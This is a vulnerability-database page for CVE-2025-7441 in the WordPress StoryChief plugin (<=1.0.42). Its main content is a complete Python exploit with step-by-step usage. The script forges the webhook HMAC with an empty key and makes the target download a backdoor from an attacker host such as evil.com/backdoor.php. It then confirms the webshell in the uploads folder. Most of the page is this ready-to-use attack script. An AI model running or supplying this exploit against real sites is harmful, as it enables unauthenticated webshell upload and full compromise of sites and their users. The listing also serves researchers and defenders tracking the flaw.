Lucene search
K

📄 WordPress StoryChief 1.0.42 Shell Upload

🗓️ 26 Aug 2025 00:00:00Reported by xpl0decType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 246 Views

WordPress StoryChief plugin version <=1.0.42 allows file uploading to a shell now via CVE-2025-7441

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Mephisto
21 May 202605:06
githubexploit
GithubExploit
Exploit for CVE-2025-7441
7 Oct 202512:12
githubexploit
GithubExploit
Exploit for CVE-2025-7441
14 Oct 202508:16
githubexploit
Circl
CVE-2025-7441
29 Aug 202521:02
circl
CNNVD
WordPress plugin StoryChief 代码问题漏洞
16 Aug 202500:00
cnnvd
CNVD
WordPress Plugin StoryChief File Upload Vulnerability
20 Aug 202500:00
cnvd
CVE
CVE-2025-7441
16 Aug 202503:38
cve
Cvelist
CVE-2025-7441 StoryChief <= 1.0.42 - Unauthenticated Arbitrary File Upload
16 Aug 202503:38
cvelist
Exploit DB
StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
26 Aug 202500:00
exploitdb
EUVD
EUVD-2025-25062
3 Oct 202520:07
euvd
Rows per page
# Exploit Title: StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload
    # Exploit Author: xpl0dec
    # Vendor Homepage: https://www.storychief.io/wordpress-content-scheduler
    # Software Link: https://github.com/Story-Chief/wordpress/
    # Version: <= 1.0.42
    # Tested on: Linux
    # CVE : CVE-2025-7441
    # CVSS Score : 9.8
    
    
    # Step to reproduce :
    # 1. Create a file with the .php extension and fill it with:
    # <?php 
    # header(“Content-Type: image/jpeg”);
    # echo “<?php phpinfo(); ?>”;
    # ?>
    # 2. Adjust the echo phpinfo section as needed
    # 3. Host it on a VPS/web server with the name you want to upload, for example backdoor.php
    # 4. The second argument is the URL of the backdoor created earlier, e.g., http://evil.com/backdoor.php
    # 5. Then run the exploit: python3 CVE-2025-7441.py <wordpress_url> <backdoor_url>
    
    from datetime import datetime
    import requests
    import json
    import hmac
    import hashlib
    import sys
    import time
    import os
    
    def banner():
    	print(r"""
      _   _  ____ _____ _   _ _____ _  __  ____    _ __   __
     | \ | |/ ___| ____| | | | ____| |/ / |  _ \  / \\ \ / /
     |  \| | |  _|  _| | |_| |  _| | ' /  | | | |/ _ \\ V / 
     | |\  | |_| | |___|  _  | |___| . \  | |_| / ___ \| |  
     |_| \_|\____|_____|_| |_|_____|_|\_\ |____/_/   \_\_|  
                                                            
      PoC exploit CVE-2025-7441 by xpl0dec
    	""")
    
    if __name__ == "__main__":
        banner()
        if len(sys.argv) != 3:
            print(f"Usage: {sys.argv[0]} <target_url> <backdoor_url>")
            sys.exit(1)
    
        url = sys.argv[1] + "/wp-json/storychief/webhook"
    
        dummy = {
            "meta": {
                "event": "publish"
            },
            "data": {
                "featured_image": {
                    "data": {
                        "sizes": {
                            "full": sys.argv[2]
                        }
                    }
                }
            }
        }
    
        json_string = json.dumps(dummy, separators=(',', ':'), ensure_ascii=True)
        json_string = json_string.replace("/", "\\/").encode()
    
        signature = hmac.new(
            "".encode(),
            json_string,
            digestmod=hashlib.sha256
        ).hexdigest()
    
    
        headers = {
            "Content-Type": "application/json"
        }
    
        payload = {
            "meta": {
                "mac" : signature,
                "event": "publish"
            },
            "data": {
                "featured_image": {
                    "data": {
                        "sizes": {
                            "full": sys.argv[2]
                        }
                    }
                }
            }
        }
    
    
        print("[+] get hmac... [+]")
        time.sleep(2)
        print("hmac : " + signature)
    
    
        response = requests.post(url, headers=headers, data=json.dumps(payload))
    
        if "permalink" in response.text:
            print("[+] Response Success [+]")
            time.sleep(2)
            print("[+] Check backdoor from uploaded... [+]")
    
        current_datetime = datetime.now()
        month = str(current_datetime.month).zfill(2)
        year = current_datetime.year
        file_backdoor = os.path.basename(sys.argv[2])
        
        get_backdoor = requests.get(sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}")
    
        if get_backdoor.status_code == 200:
            print("[+] Exploitation Success [+]")
            time.sleep(2)
            print("webshell uploaded in : " + sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Aug 2025 00:00Current
7.5High risk
Vulners AI Score7.5
CVSS 3.19.8
EPSS0.78942
SSVC
246